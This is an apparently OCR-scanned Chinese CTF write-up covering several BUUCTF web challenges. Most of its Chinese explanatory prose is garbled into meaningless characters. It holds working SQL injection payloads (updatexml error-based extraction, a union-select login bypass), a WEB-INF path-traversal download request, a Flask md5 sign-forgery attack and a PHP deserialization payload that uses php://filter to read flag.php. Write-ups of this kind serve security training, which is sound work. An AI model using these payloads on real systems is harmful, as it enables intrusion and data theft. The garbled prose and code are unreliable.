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BEEMANRIEIREER, JFHRRSISHE. BRFREIETR. > = union. if F WKF R B RIAHBOT I8 .
RSB /o I EHSIE, K. ARDNS. MESRE RIFATE, WA FrURSEN. BESBATT.
BIMWEEE, H extractvalue M updatexml BJRBEITHE, ZRMETEN.

HEAZ#EPOEIE, BRI O 2EEARIEEREEREBR. = Budig, UM like B

Fr LAt payload.

R, RBEIBEEEATR geek

check.php?username=1"or(updatexml(1,concat(@x7e,database(),0x7e),1))%23&password=2

B3R, BEIES HarDsql

check.php?username=1"or(updatexml(1,concat(®x7e, (select(group_concat(table_name))from(information_schema.tab
les)where((table_schema)like(database()))),0x7e),1))%23&password=2

BFEE, BRFE id,username,password

check.php?username=1"or(updatexml(1, concat(@x7e, (select(group_concat(column_name))from(information_schema.co
lumns)where((table_name)like( 'H4rDsql'))),0x7e),1))%23&password=2

BN, BN updatexmiBR #1326 5%, T HAagkKE A TF32, AfAHleftMrights $iHiEE .
B left(arg,length). right(arg,length) « - iR [El arg & A0 ALK length NFFF.

AT ¥# 4> check.php?username=1'or(updatexml(1,concat(@x7e, (select((left(password,30)))from(H4rDsql)),0x7e),1))
%23&password=2

Ja¥#4r check.php?username=1'or(updatexml(1,concat(@x7e, (select((right(password,30)))from(H4rDsql)),0x7e),1)
)%23&password=2

PERIDFEE . RREQETERHS,

—. [GXYCTF2019]BabySQli

XGRS T 8 E R RS E A R BImdSHE L IEIE .
BEENRIE, fEsearch.php RIIRR-

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6EKJIIBSGEWSYJIWESSCWPINFQSTVLFLTC3CIIQYGOSTZKI2VSVZRNRFHOPJ5

—Hibase324m DM F /K8, base32ffiL1E —Hbase644miy, 4k4ibaseb4f#idssBIRR Ksql&#iEH.

select * from user where username = '$name’

base32flbaseb4 ]

base16 REKEFF (A~F) f¥F (0~9) , &S
base32 RAKEFHR (A~2) FM¥HxHT (2~7) A, REFHEA=A%S.
base64 RAEKEZH (A~2) F¥FE (0~9) , NEFER (a~2) A, FH—BKEBIES.

WRFEN, KIAKS % Fadminkf, RRFELHER, SURFKSHEIR, UL, admink SEREFEHEE. HREGEAN



"L, BHEEFECN 3,7 B S HEMERAK S, #BiT 1' union select 1, 'admin',2# BtZZadminiIprE w40,
{H4k S84 T & B Hadmindt R ISEy, 2PRMT, (O #idig. EFIFEHsqmapa] L—3EiR.

BTMREAEET BRETNERANFEERELSMEEMNNEE , BREEFREAN, BEHLRNFE.

< from flag;
; (HSUUUJ. MySQL server has gone away
0 LOHHectiOH. Trying to reconnect...
Connection id: 361
Current database: sqli

in set (0.00 sec)
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BRI H A SR SBmdS T, BT DAY R 19 ) B RS i B md 518

Fr AR AN payload. H A kA 123456 ) md5 fE e10adc3949ba59abbe56e057f20f883e 1E A I

name=1' union slelct 3, 'admin', 'el@adc3949ba59abbe56e0571201883e'&pw=123456
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java®Zid, FiLXEEARL HAE Wi RENIREIE .
NIFFEELLARSqQVEN, BLABBFIE, ZRTLE, 7 help RETH RKIulE S5, BERERET —AHNE

java. io. FileNotFoundException: {help. docx}
R Dess DBRE O=Es NRs ((eeEs Quw Ors O e TSRS @ Hacksar
Encryption ~ Encoding~ SQL ~ XSS~ Other ~

http://f5081ec8-831d-4528-9831-dd16be3c7fad.node3.buuoj.cn/Download?filename=help.docx

i split URL

BEET4 java.io.FileNotFoundException A T4 1A B REIR AT EBE .
BREEEF I, RKIGEERIMBZAR, KRR

<center><p><a href="Download?filename=help.docx" target="_blank">help</a></p></center>
B 1 % B Y GE T R B RPOSTH R AT LL, SR HRSE W4T, (EHRBA WA 4.

BT kR Java web HI%1IR A . WEB-INF/web.xml , AJBLTf#E—TF
o X YRGS FE ) — AN R

4k 82 FHPOSTiIE K j i) filename=WEB-INF/web.xml , f8E|—Axmi3Cf, HEH —ART /Flag BurliERibHE

<servlet-mapping >
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag </url-pattern>
</servlet-mapping>

</web-app>

BHEXU5H Mag , WR500H4E, B $E2R—A com/wm/ctf/FlagController (wrong name: FlagController) 4%, LI
RonE, X R BAEHRE .

HTTP Status 500 — Internal Server Error

m Exception Report
[T com/wm/ctf/FlagController (wrong name: FlagController)

(I niy The server encountered an unexpected condition that prevented it from fulfiling the request.

java.lang.NoClassDefFoundError: com/wm/ctf/FlagController (wrong name: FlagController)
java.lang.ClassLoader.defineClassl (Native Method)
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& Load URL http://f5081ec8-831d-4528-9831-dd16be3c7fa9.node3.buuoj.cn/Flag

[F B 454 LT fjava web BRATH H #2WEB-INF/classes, #h&SCHFE44% . POSTER VI, FE—HF/KFH. basebsfE

415 2flag.

http://f5081ec8-831d-4528-9831-dd16be3c7fa9.node3.buuoj.cn/Download

Postdata [] Referer [] User Agent [] Cookies Clear All

filename=WEB-INF/classes/com/wm/ctf/FlagController.class

| WEB-INF classes com wm _ctf FlagController.class - {284 -
SRR #\EE((E) BR(O) =F(V) EEIH)
bRiE 4+

oooo oo o

o oo "o oflago oljava/lang/String;o o<init>o o()Vo oCoden olineNumberTableo odoGeto R
(Lavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServietResponse;)Vo
Exceptionso #o $o
SourceFileo oFlagController javac oRuntimeVisibleAnnotationso %Ljavax/serviet/annotation/We
onameo oFlagControllera o ao
<ZmxhZ3s2MWUSOTRIYiOxN2QwLTRKYjgtYmVjNiO5YzY5MWU10GIwY2Z9Cg==n
0 % & '0 &<h1>Flag is nearby ~ Come on! ! l</h1>0 (a ) *o javax/servlet/http/HttpServieto
Javax/servlet/ServletExceptiono ojava/io/IOExceptiono &javax/serviet/http/HttpServietResponse
getWritero o()Ljava/io/PrintWriter;o ojava/io/PrintWritero oprinto o(ljava/lang/String;)V ! o o
oOoaO
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BEEMRE, ETHE—/GETHRKPOSTIER, A RWEB-INF&ZjavaIWEBR F %4 B3, 28 =2 B4ASC TWEB-INF B — 304

58, MAEHLERT .
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o FFR%IEN, BH TG,

#! Jusr/bin/env python
#encoding=utf-8

from flask import Flask
from flask import request
import socket

import hashlib

import urllib

import sys

import os

import json

reload(sys)
sys.setdefaultencoding('latinl')

app = Flask(__name__ )

secert_key = os.urandom(16)

class Task:

def _ init_ (self, action, param, sign, ip):

self.action = action

self.param = param

self.sign = sign

self.sandbox = md5(ip)

if(not os.path.exists(self.sandbox)):
os.mkdir(self.sandbox)

#SandBox For Remote_Addr



def Exec(self):
result = {}
result[ ‘code’'] = 500
if (self.checkSign()):
if "scan" in self.action:

tmpfile = open("./%s/result.txt" % self.sandbox,

resp = scan(self.param)
if (resp == "Connection Timeout"):
result| ‘data’] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result[ ‘code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox,
result[ 'code’] 200
result[ 'data’] f.read()
if result['code'] == 500:

result['data’'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"

return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

#generate Sign For Action Scan.

@app.route("/geneSign", methods=[ 'GET', 'POST'])

def geneSign():
param = urllib.unquote(request.args.get("param”, ""))
action = "scan"
return getSign(action, param)

@app.route('/Delta’,methods=[ 'GET", 'POST"'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param”, ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!I"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/")
def index():
return open("code.txt","r").read()

def scan(param):
socket.setdefaulttimeout(1)
try:

natiinn nmlTih anmlanAan/nanam) nAaad/ VT -Cnl

w')
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except:
return "Connection Timeout"

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

if __name__ == '__main__ ":
app.debug = False
app.run(host="'0.0.0.0")



] ARIER B AT A &M seHiflag, M Exec() HREUEEHE, BT checksign() HEL, BRI HELEN /geneSign
3 getsign() B, BEREEEHLEN /Deita W Exec() HREL

BRZEZ—BWHREME, B%R self.checksign() NE, W2 FHEMLHHE, 1R Aag.

getSign(self.action, self.param) == self.sign

WA getsign Fk
hashlib.md5(secert_key + param + action).hexdigest()
BHET secert_key + param + action —Hmd5{H Ssigntb B .

B4k gksignifE, BikE, HE, RN KIHEIER /genesign MM T getsign W%k, FRAREE, Brih, /A
e, R — &R K md5E.

FERNEHHYER /genesign 1, action="“scan” N, {HparampiZ&t4We? & H FB AflagfEflag.tt, &A4&
#& param=flag.txt ? WIRXFEHITE, TEEWHE if "read" in self.action , FTLL, paramRiiZ Aflag.txtread.

TE /geneSign H secert_key + param = flag.txtread , action=scan
fE /Delta 1 param =flag.txt, secert_key + action =readscan 17

FrLL, Bh6ih ) /geneSign?param=flag.txtread & &md5{E.
c6ceaf65b6d57ad8e5e6d57032534d44

N Osss DEde Ozes NRs (etgss Que O D& oSEiRE @ HackBar
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& Load URL http://39218425-a8b1-424e-a899-f9444cb44323.node3.buuoj.cn/geneSign?param=flag.txtread

AL e e

Hn_Ecookiefel sign =c6ceaf65b6d57ad8e5e6d57032534d44 Fll action=readscan V5 /Delta?param=Fflag.txt FIhEZF|
flag

{"code": 200, "data": "flag{2ebf08eb-e735-44b4-b2e0-2b86255802d9}\n"}

e e OEEE Oz NRE (JakEss e s B &E w AESHE @ HackBar
+ B Cookie T HE s
@ http://39218425-a8b1-424e-a899-19444cb44323.node3.buuoj.cn =FR 1=} Domain P:

v B sizteng action readscan 39218425-... [
» B Indexed DB c6ceaf65b6d57adBe5e6d57032534044  39218425-..
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BHESIEN, v UEERBPEZAIPHPRFFIML.
ke tr, HBEBMIERE _ destruct()

WiETT s RAMEREINRSAERROIEIN R AT, X ROIEERESE— Mot 2 A shii .

W2 WERIT KPS R, SexteEdTa.

function _ destruct() {
if($this—>op === "2")
$this—>op 17

$this—>content =
$this—>process() ;

FERR === BILE, MUBEEANEIERE, op==="2" HEFELBELET, HLEFESHN op. content EIE A
1. =, HiEH process() K%L

% process() Hi¥. LWL Top, A1 WA write() B, A2 WA read() %, RBPEBF N2, FA2AEH
HiREME. (HEZFENIEARNRZ =- MANTEHARE 2" BTZ/FE, BRESMRT, ikop=2, BHA, &
op==="2" BY AL, {BTE op=="2" B} RRIL.

MHEFE read() B file get contents BEEUCH, 1R BRBBEIPHPA MY php://filter , TWHEVFT flag.php BT PAHIR
B T filename ZENIMHE.

BE—NAE, ERFHINZATEAT is_valid ®E, BIETHENE str ZEMASCIFDEETE32~1252 8. {HE Aop-.
filename# AyprotectedK A . I /G2 HI%O0ANTT WFEFF, TEKASCHERET32~ 1252211, FrbAART.

fRRINE, FEFFILES KB BCApublic . B Aphp7.1+hR A% & 1 K B A UK
BN FIIME 7T Buldid—T, RIE%00E#N\00, sEH#HANS, thi]ll.
RIEMEF I TR .

<?php

class FileHandler {
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content = "oavinci";

}

%2 = new FileHandler();
$b = serialize(%$a);
echo $b;

?>

o fE NSt BRI RS .

o {HSzFR L FEAT i T o 22 se i iR Bl /etc/passwd i 36 [ C. ) payload & B 1IER, A5 BILEBURS 2% F BB Sk, 55 Hiflag.php
FRE R 4%t B 4%, B HEEL

o KEEY, EANZIMRAERMIER, RV DTEFILR KB HESCApublic . B Aphp7. 1+ At & R A
Bk, XNMHLAFIE. RET .
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